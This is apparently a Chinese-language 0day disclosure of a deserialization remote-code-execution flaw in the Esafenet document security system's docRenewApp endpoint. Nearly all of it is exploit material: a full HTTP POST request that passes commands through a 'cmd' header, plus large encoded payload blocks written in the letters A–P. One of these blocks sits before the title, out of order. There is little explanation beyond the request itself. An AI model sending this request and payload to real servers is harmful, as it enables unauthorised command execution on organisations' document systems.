AMCNLIIJEJENKBHFDAOFAAPJKBONHBMGGKAEMGHNJPCJFBDCKICEIELCGDJKIDFAKAFEHEBOMOBOGFDNE
AANCAINACLGFMMFOMGCCBNLDCCPGLKNCABNEDFIGKDJHAEJIOOACADPENHDNOOKPILJCLNGMIIOPICHFP
ACILNJNAIEILINONKDMONACMLIKHOMPLHAODMDPFDNNKDMPMFEIMBOIMLOLCBBGOKONLDJCDDHGHIIIHD
OLIJMGPFKMMPBDDPBIKJIBPKDNHOAHEFENPMKBLHOCDKLCKIMAOFHOEDNHKFNKKGHCICLAFKOBANHOIHA
CPLPLBCEJFONFMMGKINEPMEAANNFKCFODBDNAOIDMEFBLPBAIABHFJBNGMIKCJFGLPEHNDJHMGKFPPGEA
FHEBFACNBIGGEIKCPBGIKHHNEAEMOAKKEMFKHDEBEGDDGJJLCIIICMNIDNMBIKHIDLJNCOHFENHIFNKJE
ECDNLHMPGPGMJMGJIJHDBFECNLMLFCLDFOMCFNBJELHJFFLDKGNOIHKEIFCBPOPCBGIJENFHKCNKOJMFB
FIPFGBLFJCFPFNOCKGAADPFFEJFDNKGFMEILHBFMAFBMBOFNDGOMCGNIGJGOBPEOBPEKGPMMEMHLHMMCN
DCDFPMACNDELNHGCALNPHHNFFLNAKEEEELCDLHDHBFOJBJFHBOJNBGEOLIACBICKNMEEGPBEKIBEEMKGK
LDAKAALKOBBJIGECCKHILNGKJLKGJBOPOFHCNHBKFPHLLLLMNNKPJADFGMCMPLILPCLOLJPOCIOOPOAPP
MPFOEPNFGEEDALHLEIHJFAIHCFKLJKCBAABOIBBEAGAAPJJIHIHIACHLKBCPMEHCDGDPKPMALDBADOEKF
MDFGAPPGNNJDAMPMNBAEHLLGIGCOLKJPGANBJODFEMFHHDAIMFNNIAEAKLKBBEEADPHIDIINDABGNKNOO
DAGKLPGAIOIFJLONMCNGOMOEALKIIJFLAHEDDNHDENODGINCAGDBFAAECFCNPBBOBBIALOHDOIOMMMJCA
HMEFMAGNLALDIPAJPHLOKCHJGGLGEHFJKMDEAHEGABCCMCFOBFCMGGKGBCCBPJIJJNHNAPPECAPJEHMDM
OLFIEOIFOFFGKCFCNFAKAPGBMEBJGIDLDBNHOLJGLOKOOKCNHGLNEGNBKHFDOJINFAPPKMMOJCOCENEHP
CGDNKKOJFPBNFHIDDHFPHMCOAOKMOPHJNOJCFOJJGOOLNCKAHBFDPIDMJGKBHHEAIOKPJEAJJCNJFMMCK
HJANGDEIHKHBAAFJCJGGECNBIBNLBLFMBGDJGHJDPMBIMPJLLBNNANCJJHBJBLEPGNIJOLGJLCGEJKNGB
LDLGKMIOANJGGDPHHCGHLENGJHBANCELNLNNBADCDDCDOENGLFGIEBCMHPFBLOIDMDNBCAMFMCMMKCDKP
OFBJFBGCMPOFAPCILIPFJDEDDAGKFMHBBEHIHOAGDKPONBOADJEIKKBPNBAPDNOEEEFONAMIFBLIHLLKO
LEFHKPPKONJOCFHFOAPIJGMHKPHGIMBGOBOAOCGLMGDLIOPIJKFJIPCHAJEGJFCPOBLAEDFFGIMKEIPDB
KNCKIHFHCIHDFACJMOGHMONMPPDKODNGCOBFMKBBMIEFGHOKOMDADNGANEMKDFLNMCABMOONIFKFEGDLJ
FAHLOODEBNBKFGPLANHIJFFDLBFJDCJHMPCPHBDPFICAJHCBBKLNLGEPHMCGKEKOLJBIIAMLMCFBIGACE
HBBLHAIBBODKEDBPKPADPBJIKCGFCKDHPKCGELAMHIFEBBICMAGHPDCIIAJMBKCFMHJDHIPNNHFJILAIB
PKKGLOEONLBLJGCIMHKAJCAHCNNDBDEJNDGFNMEJJECPFIONGEMLMOPEDNJDFBAHAEBOKMCNEMBEOMFIF
CKLEKNLJOAINFFJLKPGPLHJMAOMLFLGDPBCIIPPPOHNMKOKPGEMFEOLDEHEJMPIOIAODDNJOFGLHNDAJI
CAOFOJKDDFBMMJJEIAPPNDBAKMJIIGNHJOPHKPINANLLLBBIGNIKKHDLKLJGOPKHGHICEACMCJNMMDJGB
NACEOFNBDNKAKIOMHPECJEELPLNGPGMPHCOJGOFBENNNKIEKOJHKDAFGBAKHGILNJMMOKHDMIDIOGGKPF
IFJOLIDDEGFCLKGNICGHJOINJCBOPOBKNAIDEEAGGLCMCEGPGEDPNFIKEADDPPINJIOMFKGCMJHDHLGMO
DMMGCNEIGNGGEMLLABHCCHGGDPGHJFBJMCCFGJCLCFCDJEBFMDMIEDBFJPKLONGIHJABFOGBAALJKCADC
BOMDFAHLBPIJEFGLGOGPEAFAKFJCALDHMICDCIHPICLPEANCLCBKOIAMEHHLFIJHPEACFCPDDKCJHMNDB
HEHLHBHHPEEACDMICBKGDHODHPCMLAMHOEJKAOODJCIPGMOCGPOAFJDDLGCENAKAFDBDEOKAGLBHJHEJE
HCCJEFMIFNJDPDFNFFPAOLIHNFLJDDECGLCJNEEACCJDHPKOIJMOJOPDOKIGOPKMOHHPNOLCDHMOOFDKK
BCBEPJPFJBDOEJBCODALFBPMGFPHEMFIBCBEMCANBOMOAKAIGFHJAKKGGAMDPDFMHEEDFHOHKABHBEJFE
GAEIPMBPBIHIABBILCOGDCPKHJIPBLCLJEENPKOJLHMALCEKELIPFFLJNNBINAPPOFHPEJDNNILKCEECP
JIGJMKEJCNPEKJMDKPLLEHDDIGKKEDEPFHIJKKPNBBAJAMKNMNHIJFHBCKPKAKMAKCHMJJPFMFCFBKJMM
EBABPCGCOCNKBJJPLMPHPJFLJLDABHNFFBOIGNCOFHBMFKCKMMENEJCPDOBPMAIDHBNKIAIGKAAHDCAIB
LBKPNNLBNMEDCCOBGMDMAHJPPENANOCILDNELHNCIEAOMGKLMCLLEDDPNLDJNBFPEJOKCNNCJHKAPOCGF
GENACAGBNBDEIAMGCCGKDNOLNKOCNMMABOMGGKGOFFOLKALPKFNMJJMEMMBBIAAFAAFPIBBDLOENGFIJJ
```

```
AFHNKKIDCGJNIGAFPCPDHPJAKCEKCCKDAIEDJCIJGMJJLEOEDELMJJMEJCCNEIMPDKIALLHFJNNGHOMIJ
IDPOCLOMECDFMEPAGLKNKEAPKHCBCFDINJHAGJAGPCGEJJEFAABLOEHMDIIGNKKDIILLFGPMBOIKEAAAJ
GPJHFGAFFPFEPKIKLKBMKLODNLBMFIEFPGAGFPCDCPJACDAEHCFOGEJHHLLBLBBDDOEEJJBPPHDCCOGPO
PFOPCFJKBGCNCLLHNAJKIKLHKKIJLAIKBHCMBODNCPCLNHDLMHDPNKGIBANJJHCFLIMKPFOAIEDBDMIBE
EPIHODEOLGAJHBNEOGCKIBMGIMJKLAOFAIACFJGOFEIBIOOPDCDCNFIOGCDKEGHEIAOBDCKLLGMEOEKIE
HCEBFKAGOLFGCMNLNMJCNJMDBHMDPEGHHFKOJDDAPPHJMBLBDODOHKPNABBMBHMCCMKINKJLCIFBIPCEN
LPLOFOAJPEFHCDEOGLGFHNOBFFLHDMHNEFAIPMBJJMIIDAEAJAKGDIHIOIPIOPBJKOLEHJLBIOLGLBMHN
CNDAHOGDOILIJANBPNLPPKCOKJFJPCLFJPGKDCBMGEOGGGANMMKDILOMJJLPKJJCOPFKPFAHNAIMDOKPC
IKNEMFGMGCOGGMKBIBDEKDAKBPBJKPAFGODBFLGADBFNMDAHGLDGNFLLBONBDLAAOIIICMHIPDJCMHBGL
FJAIMIBHABENMJOEHJLKGIIJDBBEHFJCHAPPIDAIAILKODLCALBBJNPCGLPKIEOLEOMKEMBLMLBEGKNGC
OKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLCGIMMNKMGOPFDMJHCMOGLKPICOEEDDKPAHLEGOMDMDF
LKFECCPILAKGLGDEMGMGEPODAGGJPPNDCHOBPHJKBDAKECOBIOJGKDMBKDBFPEGIGNOBDGELAENFFLCBK
HHJADGFGCBAINLJPDMOBGLNNHAOBHGLGMMLDHGINFFOLLALGGAADPGMNJDMNOLKINDIKKIHJKDEKFAJDH
PHNGAIBGNAODMICFEFCCHDPGMLJOGIJCIOOMMGEKPILGPFJOCMKILLFGPEAIBIDBGNPPDHLLAHMKLEJBJ
FBFPFBDNEJCNPK
```

亿赛通电子文档安全管理系统docRenewApp存在反序列化漏洞

- 漏洞类型：0day - RCE
- 涉及版本：未知
- 利用路径：/CDGServer3/docRenewApp?command=GETSYSTEMINFO
- 漏洞详情：

```
POST /CDGServer3/docRenewApp?command=GETSYSTEMINFO HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/41.0.2225.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: text/xml
cmd: whoami
```

```
NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAA
CABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDH
PNLONIODEGNCPIGDFMGMDPOMMEDIJNFKDCHHBFMFGBDOIOAHLOHNAMDBJABECIJOEHKAPJCBDIDJHKAMA
GEELEHJEEIDBDILILANAKCIIGLMDIDDMOPNCNGLPPOMMIGCEFEBIMDHFAGLHIDHPJCHAEHFPHNHJGJKJD
CINLAHOAPCDJNIABODKBFABJMFIEMLLPGGKNNNFCAOBHCOEOHCBFOFGBBPLKPHLLNOCJAKJDJPOEPBEKK
PHOPBHFLJLNOGLABIJHIBOFFCPCLPAGLCEAONCAGIJFAEFOLKOLENHNFBOJIAOFJKBFMGNKBEECKKJPCE
CMFKPPPKEGOIOBHIBIBAGBIKAMOFLEKDKODMHGJOCEPEBNIHPFKEKKMCENNPHEODFNIOPMHFPPNFFIJEE
JPPIMGPKHDOACKEEJACLCOKIPFHHECFDFJNMIFNGHLCOFLPDACOOALCNKBOEBPNPCKCKNJJJJANLFPKGL
OINAIODAJNHAEDLBNONDJHPFELIJMNLMHEMBFGOHELCDBFHIFALDIIMBFEOHNHBOIOMLCJKCPHJPNDLPH
DDCFJNMGKDMEINHIDLEGMOCNAFDAHOMPPIFFBPFCHAPPIDAIAILKODLCALBBJNPCGLPKIEOLEOMKEMBLM
LBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLCGIMMNKMBJDGIDJMMGEOEGJNJDNNEKFDMEA
HMILDKIFBGKGEJCMGOFEKGJEMNAFLDGEEOBKOHADBAMHBMDJOGIFPMDKIILIGAEELNEOAKNEFHDOGHOPB
DICEALJIENFKHFCEHMPBJLCFPDHDGBBFIMKHLLFIHONFDJAIEJJLPPFMAEHBHDEBOIDLCMCIKAFBEBFEB
GJEECDEINCPNPKIENONIMPBJCCMCHOAJHHDKDKEGJGDGJDJIDEHNNLNNHEONJEJHNLHLPMBBEJDLLJLLN
PKIMGHLOFMMKBDEBHNFLPGEOKMHOFNBLLAALGMKNJONNGIOJLBFECJNLKHMBCKELDPBDMBFEHAKBHEMND
FBBEDCAMMHNNGMDGLNJHJDAGPILNGBEDCDJBCJOAMOBIFLOFCFIJKDELPPFLFBOHHNIBEGOOFEFGAENOK
BMPCBDELFJPAHICDPGANJALHFENMFHAJLNECAEGOGCBOIDLJENHCEDMAOEEOFKLDEBJEJOBCFLPEIEAGP
OILBEGOKPOAAPGMICFMFLJNDMBGAJJPKNLIBOAABJLNADADNALIKHDJMDKGOPELEHGPDGNJHAAJKICHBF
GMHCLEPFHCCKNFKPEOMHPLMOHBGDHCOGEIGPMIGLAHKBCEDHFGLDIKIIIMEPHMIMCIGJJDCKIEODLKCKO
LAKBFHIBHOPNAMPEIKHCMDPNMLACKHOGJAEMBJPFEBOCPBGGAFGGNCOBEAIPANPLIBGDCCNMDNDNOIPOE
CCPELCEDPGCNJHEIOIFPJDKIFNJGHAHLHFNPICIJLHELMODMJIEGMMBNMMFBEJCDDDFOPAJOMBNKBDBGK
KMLKCBBPFOOJCKFFIMLCODLOFNOIEHENLJNOFDAMKFLHIADBNGANHIANHOCHLILNJLOCOHFHMNFHALJHO
PGKLOPHLMELJFBIABENFKEHCLIKMFGHPPJFIBBANPIOFKEEBIFIBDIIAIKENFILIDPDELJDMOPFKBOHPG
LIPMNCFJFDCJGKCFOAJMPIIBEOHJPPNHLOCINIECHMJJMCKHICOMIMLHJAOJIGIFLMINANOFADOGDLLHC
EKPECHDFBGIPEPNJBJOGLHDLKFLBFPLPFAENMMIFOMMNCJGJJFPGFHOKMAGCEOCKMJJPPAFBNEAKOAMME
HPGCBAJCHDBGJANBBHGIBMPHAMCEHEFLBAGOKDPKIPPDFLJIADKKOJPEPIGAKPCGKBNFBPLLKLEGBPJJC
DJFGHDMLPNJBGFMLGMCABONHBLHPKHKEGJIBPFKCLMBIKKOMINPAJEPFHANBIBKMPHKEODCBMMIGAEFCE
NBNKDONGNLBADGDLJBMJGKEMNJOMPHDOPALIGEPCEDDAHJMNMJBFLIPBODEDCDAPMNGCANOCPLLMJOCPM
PJDMEAMEPELICJKJLODAJEILBOJNFAJOFNOGCHGOJEGMGCPNCDEECKPAIAOHCLJBBFDKKAIHOJEKDBOFM
FOBEDLNGJNIAJPLGMHBLHODIKDLEPOINDPDDIGKOLGEOBFFPMOHLBEALFIGAKNDKEKEJMJLNGHNANLCGL
PNLBBFNKNEKCGBJKJDABFNAGPDILHBAAIECKBLKEDIJIMPJOMFLHBMOBLEKNEHINHAKBOHICLGBBPIEJI
KALMIJHKHFIDNICAEEFPGGPBCBFPOJDFFKAGKAEOOCPMGCCMHPCIKHCODDCNGDDNDLAIMAPEMPNECNFPI
ALJELGOIHECEKHBHOHNIFCBJBFAOKKDCMNHHINAFGNECFPOGHBNMPJOECCFOCHICANBDOCCELJCENBMIM
BKCNJAEMBHLOJOGALHGLLOEBFGFJAOFJHEGNLCEBCHGLNFEEIDOKIJNDHDANFPGLEMHOIJHOOJGKLGHBF
BMBPBKEFOAKAIAGDMBLDEKLFKADKHNPAKBNPDKFIOAMAKKEHFNDABEPGKBMFCDFFOCIPDDEBOBFONDJFA
JIJBAMGNBMCMJODGEGKIMIOLLAKMKJJAOCEMOBDCODALCKGKKKIADHOFMLNDGJBEMLLJPJOKPAIDACMPC
OKAGKLIIMDENPNMEIBBMIFHGJKLKGPNOBJGMMLDKFKALLFHFDGDBDBMPOPDBLDNMAALEMAHGINFECKFHK
JHFOCDJNBEDNGJCNENGIDHBJOLHEPFLEPHOOGJKFEGFLEMLGKDOOKIMAJIBJKOLAKCHBJJFDIGEMPABDN
JFGMDAGEDIOHJKOAEHPLIBOFLIMFIEFOOGDHDNLCKOKPEDKEEBPAHKFMKBNNBAMICPOPLNPIGLMPDLAFB
IEPHPJBFLBDECCPFINEBGMPMECAICGFLMJEKEIKDOKJMOAJLFNHHEHEPDAMFLNPKCDPODPLMFFAMILMAF
IDBDJJOKIJKGJACMOMEHDDCJJAAOAFJDCCEFHKMJNDJEOLOOIHCFIILOIGCOPDHENDDEODNJAJJFHNJIB
JGJPFFKEDPBJAKIPHPKELOMHNFABNMIMODOGPBOFLLPBGAHCEOBBFJLKNAMKACHIOMMFLAPFJCHBIJAAE
JELEFFEIMAMCACJBBGADJDJKKEHMGJCPCNIMKCPGHBPIFADBGGBPCIKNBGDCJJCPMABJINOGLAPAHGLJL
ADBJKFLNAAFKFOBIJKCFIDEKNFGFCHDPGLKFDKPPHPNCFIGAMHBNHMLJAHOKKFLNOCNDNPPJJHBBKHDII
ENFAGAHOMFPNNBGDLDEHLBDOKEOAEFPPCIEPGIOAHDEEMIKDPHBMADGLNILDCIEKELEBBEOBKLCDLKLKL
LKHDHBHGDDLHOHGPPANCDABBHHBDOOLEOAKBKDBPGLKFFFFOBLBHAPEELFFDEPOFFHIGOGDKMBIAMJNNO
OFGCNHBCCCFKCAOFDDDCBPLMMHGBLEDOPNEHBOECJGFMFOEIEIFAHLCOOAOLBFFKHAHIEMAEOBBPMBJND
MJJDMNJEMBGMNEPCFODGCOCKJICOBEGAFJKFADJOFMGPILCDMBFLLLAHEKPBCDJEBMHDLBLDLLCIAGNJJ
BFHFOIPLNNOFAFNOMFPBPNFLPLFFNNBBNEPBHBKJEOHBJPMOHHEKFHGACPFPDAHPCAPPGPKBJBGGNIPLO
HFPAPHLHCJJHNGNKOMDMIECKACEPHCFJJAIPLCEOFNLBAFGFLBLNBPAHBOOJOKHIBAJFEAEKBNHHODNJN
MEONLHDIPPCJJAEKOOELNHPDPAEPPBILHLHELMDHGPJMILIEOFJHBIJHAIPPKCIJKKANAAKEDNDAILJPG
JLIBJMABMPDMHGPNALCCAIIAMJMFGJDOIPEFEBMMOBABIKBMMHMFHLBEFFLAGJLNMDEAOALFJGOGNFMFE
FKPMNCNNEFMJNADLNIILEGKLOOHMBHPJJCNFBPKIKMAIEIANCNDLOODENILDEJELHACIBBOCINOOFNPMI
NIFDEFMPBNDMFGHJHNKCKDECBJIBFMIMBGFCIHDJAKCPNAPNMOIKJIDLPJCIKNOGJDBALIDJPCNICIAIP
NGPCLDBGPIFLGDPNDOODLHJPLHFILLLKDJHHDIBODNIPFLCAKAFMGCAAMKOEOPLJAAAPDAHJAJHIHGPDF
LNALHAPHIOBEDFICNIHJLFALHJKNLFLBKIHIFNAIIFBILLNOAIOKFMLEPDIKMHGNMDLKBIEGLFHDNPPDF
```

```
PEDPGOLPICMJPOFEAJJMHGKPJEJNEMJGIPKBDHEGLILBLJIEICMNINFCHAOGJNMIHPAOJCCFNJHGJCJEM
JJPCNFDKKGDJCDFBPGNKGDMPEBIIMLMBBAOGBOPAEFOMIHEJCKJGBLFFOGNGOFPPJEFNPLFPOGPICGIKM
GPNIKNOELEMAGNHKHOIKAILJBMJJIPABBGPICCMPNFPHHFHKDAHJKBMAHDBKLAJKPJFHOICCDFKJEDGGF
DKPGJLKFJJJKCOANLNPDEJLHBBHJJGMNJPHFCHGINMJIMBDCBCDOHKDANDLFDOOCEADNHODFKGLBGAPAA
ONECAEACNDKGFGIMDAAKMLJJLAGKCJDECINGDJAHONECBMFDKMCKHOKADAPGBOKOGPEDFMHKFBDEBOMKN
MELIALJHOHGOCAMKJCFECMNCODNHGIFBFIIJMPEHGNBDNGHICBLIGCOPDHENDDEODNJAJJFHNJIBJGJPF
FKPBFOBDLLOIBAHALODFMHODOHOPGPMGLIPIJONOFCGMELPFMKMMCPFFNMILJFONAACCBCIJFCAFHOHLB
ALEIGHDPMMFMFIHKJBAGGGBDEDNCDHEJALEBDPIIEGCKGKMPLGKJGEJAJPMIFCDBAELNMDPNKFCAEGJCA
FJPJBBMPLMEIGCNPOLIGHCLGMEJLKCHEPGBJCCDECFMKIBLFIGOFEJKPGAHIGOHNOKMLOHLKDIPAPMFOP
BHDBMAAEBEOKBEMEHIILJENNPKHJIMJMNLGHMAENHOHGMEFLKPJJBHDGLGAAMIGDMDCHBMICMDKNGPCOP
EKDEMFLKINAMOKNDLDBABNGLFPJHFMKMBBCAEJDENPHGJGGPLMIIHHIAHGIBOINFBNCKJLJIGEPNAOGJF
AFPDDBHEBCKNNJKJDLBPHHDNNCEDGAKHGOKPMCLOOPIHHNFMNFOILEAOIFGOJGPDCBLNGLEIOHHHAJPFP
GLJNFFHKCNMFGHAHANBJLHJFNNLIBEIFKHJHMENIIOONPDMFOCPKEDHHMEPHAJKGALDFDBOFKBOCDDAFL
JBDIENKOHGJPHGLOPDMIEPDBHBBEILLFPOAKJKJAPFKAOMLFOJBLAAEAIFLBOMGECGDBILGNGBEHDEOFL
OLHJKAOJMJKNNLKNDHAPCKCHLAFHMCCLNNIIGJLDLCCOALPEPPNEBDNPGEMMPFFALFDONIGHJEMJGJGPL
KDKMBGCLJEPLHDBOIKMNGELEKLJLFFAEEEDMBJFLJGGHMPHADEJEJLKJCMLNFIELFBOKAOPCIMCEBFNGM
ECGFAMMNOMCHKEIJGGNIHKPBFJLKODLLABGBJANDJFBJNBDHIDNGJGLAOFHGFBMJAFJNNLKNBAALOGIIH
FMIOLDOEEFNNJDFLIMNBAHJGPJBDHIKGHCDMMLKFOHOJFLOLHHCEJACKLGHIBJHJHGMECCLNHBDGHFNPN
OFEJKKOMEFONNBANBKOLDEMFCMDLNLGDBFEOIKAFJDAHAEJHMIJGJFAOJIHAIBHOOEMHHCOODAIEOEBFL
MNAMDIIDLDHAIJDBKCMGKJFHHFKKGABCJCPHBBKDBPGLKFFFFOBLBHAPEELFFDEPOFFHIINLEMPICLDNG
AEELNGONJIKOPFIJBJIPDGPLEDMHNJJHLBJDDGNDIHECEJNEFNLEHNHFCFOEEEGFIOKCPENDLNJJHGFJG
AMNFLNFFIMPGKEMKKAMEPBAHBKBHGGIEANHFOKPEDDNLADKABNLJPONGDIGMCLENLOBAKMEPODENJNNDP
EOCCLMLOJDJPPPMEFLBFLAIDHNCCHDDONIDPMKIOAGODDPKHDBGFCIGOAFLPBMELEPDHECABPOFMOKJEC
EHKIJIKHLCEFMAIGEKAALLCMMCDLPHELOCEDNIAIIHJCGFHJFBBKFKCFOBAABJEIMEIMDPEPCHKEBCEMI
PECMAJGCEKHGOKOGFNHHFMKOICKKBKKKBDGDPCGLGMGALDDMEEFILPFOCFHFGIPOHKADHACFDJCGCKPAN
CHDAEDMNIEACGEECCNIBJGGIENIOENAFDBNMJCPJDDDKGDLKMCILLIEKBEDADHHCMONHBAABOGHMPNGHH
EHIHCBBJJINCFFJKKEHMGJCPCNIMKCPGHBPIFADBGGBPCIMBDPENPCFFFPDGMKEBPFOOFFBHCKPAGHGJJ
ELHDFJBCKLMAJDCJIIILHKBHJJMKOAOMLFOJBLAAEAIFLBOMGECGDBILGNGBELIMDAFIFCBLHDHLCJLMA
HCOKGMKDCLKKOGKKNDDAHMGGIAKGHAHPNADHLLPPFDJILKFMIHHPIMLOGMDHPFJHPMGEBKHGHLFDKPIKN
DKFLBNHOODBEAHNBBDBALEJGOLJHFPKEIHMLKAJHBNICKMPHFANCLPNFFLDDHEKKOLODMEJOIJGPDOPCG
DPKLNDLPBHFGIMJCPMLPCPNPCJCKNJBCJOJIJCHDGIDIIJGKMKAICADENFOEEGHJNEHADCHNEMABINOII
GAGNGNPNCPALKIADLLJBEMOKJEGPNELELFGCIFOMAFBPCAKEDHIGLMFPFIHGLFPIHFAOFBEIIDHKDCGIG
PNOICHCLEAKLHILHDCONAKMNHALCLFLNOBIMBCMKNGHPIHGDEIGGILLNIHDPACAJGHBEBEBMIDAOCAAKG
MNBCBENBLGLLLOKMDMJANECALMLPLJNKGJKBLCIPBJBPMJOHNPOBPOBCGEMKBPJABNDBKCGAFALLDPJHH
GMOGDJDNEKGJBMEIBPIJIOLDOPCEDKDPACBAAMDFLLJMFEGLKICDEMPCHMHIDFKFKDCMGGALJOLJEMCGH
MKIMJPOEFPGECHMGBLGGGBJEHBDGGAJEALPEDHDGJPPFLLAHGGKAPCNJCIFBLMGGCKOJLHCHOIMMGEADL
OPOPLIHPEPBAHNKNAKOFIMOBBJIBBHMFDNDAIIFMLPLABGGJEDHELLDPGHIGOECAEMDJBGHODPCNEDENI
FPEHAMJDPDEMNJOACCBGPPEILNOKDFHCNGKANGBCDCDNGEIBMJODCBPJNGKLECPCHDHJEEDHNFJEKGLMA
FKCMKAMJPDMJLBGLPEJLLHINCGOCOENMLDKLDLHIDAHBBINIEFLIFGBJGMGMDOJDLFNMAJDPIFGICFKKI
ECPIPHHBMAJJGNBPCKCOIMIOODGNDMKKMLKFIDHKBFGDHLGANLCJCDEMNPGCGPIPNEMIKDJJNKECHEJMC
NAGDJNGIFFDPFGMAKLPLPLMOEDIEIOIIKMFLNDFDHCJHENMMAAJOFJLGDIAHBOCLMAGLPKKJAJGFPDCBJ
PGNAAMNGNNFDHDPIEHFFEPPJOMADEBHBIGFNOKHDKDNAIAAKLIGFNIFDKFMLJANODMADILHHONCGNLNJE
KKAJHPMIDGHNJJOAGGFNKCOCONGBKNDNIJOLBGLGPLAKGCDIKIBNPMOACDBJLDLCNDCKFOJKINIIPBNBD
HMNDEILFFCBIEMNMHCACEDFAHNMJLDEFGMJIINCJDNOHLDJIDOKKPCCENOHBDNMCGEHGENDBBBHFOFIAF
GGCNKOKLMMCOOHNJEAJKILLKFJCEKEEDJHBGIMKLOEANBKMBFLDAGGOAIHNLDOPBPCHGNIDHGKFAMFGKB
IIENFMJLHCGEMBKNJPMKDFCJCHFOLNOIPADHBEPLLHMNGEBMBHNLBHPIGHGPGKCPFOEGAHJKPIPGGMPIG
NBDDIHKCLOFKIBBBHNPBNCLFGCHPOMIENELILEJPLKAHBJEPICAGJMNOAAOJLMPDBOOMEOFFAMKILAJAN
PCKENJMKLFKMBGOKBNKFGEGAEPEANNCIEENEBEBECBGLOKHEJCFCKABBAAMCDKCIMJLILOAEKHNKPCGOL
DBBFFIGDHPDHOFNMLANMCHBIEHHIBHOPPLOFEGOAJLHCHPHGKLOCGJKKABNHLEHGKOINGEDMGDMCKKKLA
BBIOJCGANBDOCCELJCENBMIMBKCNJAEMBHLOJOGFLKJCNMEPJPKGKPHDGHIDCKAODGNNNCDKEDHLCIANL
KENHMMDELDNBPNNNPHLGDDOLGDFPHOHFPBKMFEGOLFMMAFCNCDLMEKPKCDJNHIOJOOJADDHHHPPLGLMIN
ICBIOEIALHBBCEGACCNDNOAPGNAGELEPGCBGLAEOPFGGIJBAKDFCPCCGJAHBDAJEPBCFMNJIKADAACMEF
NBCBKICAALEICBCKEKHPCPDAKMDPGNCBBNKDFICFKKJEGOEJELPGLECFINPMBCCDLIGEJJALHPNHDAMIF
EGJOCFGFDGBNJKHKAMOKOKKLIFIBAFAELPAPCHFFEOEBNFMLGPPMCDHDIIABOBFDCPFOMMNCJGJJFPGFH
OKMAGCEOCKMJJPPAFBDLODOABMLPLAMCJIFGJNHALNOJMBLCFJFCDNCHLBGHLCAOICIJGDLGDMEKPHHMB
OHAJJGMAIGLPIEIHHLKDOMBJMOPJIKBAKDHBBJLJJNPOHIDBAFAGMBLLPIEHENEMHNIFAGMMELMAJHCLF
```

```
CDNFKHGEJFGGEIBKPFAFHFOFHGMCLLGCAJDGGJNKFBGDAAEAJNGEOJBBIFLLKNJIOJNHCFKPAPHGABENL
MABGDMFOEEKIMHOBPCLPEAGNBFHEOMLGDDLDCODAJIEIPJNHJFDPHILIKHMHJHBJBLPNPPPJOJJBDJHCP
OCLBIBBPJLLMNKIOKPHOFJKEJAMOBGCHOONMPJNEGDMNFPKMNOIOMJPEPDNKBODKFCDGJMGBCNHIGHFOD
OJAHDAFEDKOGGLMEJCOACLPIMCMPLDKDAPFJGGECGPNCEDGAEMJADOCGBEFIIPBMJMMMPNHNAKJOBMOIM
MOMEBOBHPPIPAHJHKMJADIIDCIGOMDJBJHMHCGFJLELPFOMAFEAPHLHCCKKNNJMMLKIJEBGEBEDOOLIFH
LKHCOONJMHCAFGOKNOAAKONAAPPMONFOJENLNEPGBJKLEHIGBDOAIDKAILCHIFPPGGFLGCPINADFPDCGM
IHHIPHBCPIPHKGMGBPEICLDADONHGOFMMAMLAAHHMBIGNNOENIOJLMNGNMMKCNGEKEHLJHHCDFJKMDOGM
OLHIEHDOCNBPILJOFBNCDONBOIHDDLALGCLOBNAFBDHNPEJJODIENCOCKHGOHOOLHFNDOFAEPCHOJNFJJ
NHKAIBGJEGDBHDFJGHGEPIAGPJBCCCAKMHIFDDNEDMCAOBCCGOHCMMADMKHCKIACBMGFKOGDNFGIGBJFF
FKJFNIJAPHIMHKOLLIECAJFNFLJLLHEBIBLIOBOEIMNJMIJOCHEBEKPDJOCCMGGEOKGOMOFPKAICOHBGB
OEFIIIAJKPEIIGBGLJCCAHJNKJFILFICJCPAICDGOBJIHMEOJHLCNJBDIEHHNDGKMKLLDLMAJLOHECBFJ
EOHKCABKIHGEBNMAGAODODMAOMOBILIIGCDKPJOKLAFLJLENBFFNNAKANMKNKNBNOJBKEKODPBIDDCELH
BDDHCKEELKFLEHCNEFIAOJJHHHKIAGDJJGNKODKIGJAGBFEBMDEOMCHILDNFEEPFOGPPAHEHACDCHDOID
ELKKBLAOJACMGMIDOJIJLPAOCLLIIFPLJDKCOEIOPBEAHBLGNHJHPLNMFFMKEHLOPIGNFNJNGIEPNELLH
MIIGNPODEDCIHCIJBNMENKGFNOMILCBMELHLHNOBFLJHDIFLHPCKEAGJJNEAOBPNGKECFLDPPMCCLMNMH
FICELDKEFNPMJHNGOKLOBHONELNCPLNDFKOIJONIBBBGABIANBIHHJDDLACPJEENOHCCDIJAPBKNNOECP
IGOIMNMMPOGNCEOGDKNCCBHEEJCLEFMBEMEJICLGNHNIPEIOIAPKJDGOIKGEBGODFIGCHKCFFLPGFJBKD
JOIMEJEHEEAOOJGLGKKDHGCIGFFOPILPFENMOKOMJLODFBNKOFEJKICAMBGPCPDNJOJDALNGCOFDAINHO
AMCNLIIJEJENKBHFDAOFAAPJKBONHBMGGKAEMGHNJPCJFBDCKICEIELCGDJKIDFAKAFEHEBOMOBOGFDNE
AANCAINACLGFMMFOMGCCBNLDCCPGLKNCABNEDFIGKDJHAEJIOOACADPENHDNOOKPILJCLNGMIIOPICHFP
ACILNJNAIEILINONKDMONACMLIKHOMPLHAODMDPFDNNKDMPMFEIMBOIMLOLCBBGOKONLDJCDDHGHIIIHD
OLIJMGPFKMMPBDDPBIKJIBPKDNHOAHEFENPMKBLHOCDKLCKIMAOFHOEDNHKFNKKGHCICLAFKOBANHOIHA
CPLPLBCEJFONFMMGKINEPMEAANNFKCFODBDNAOIDMEFBLPBAIABHFJBNGMIKCJFGLPEHNDJHMGKFPPGEA
FHEBFACNBIGGEIKCPBGIKHHNEAEMOAKKEMFKHDEBEGDDGJJLCIIICMNIDNMBIKHIDLJNCOHFENHIFNKJE
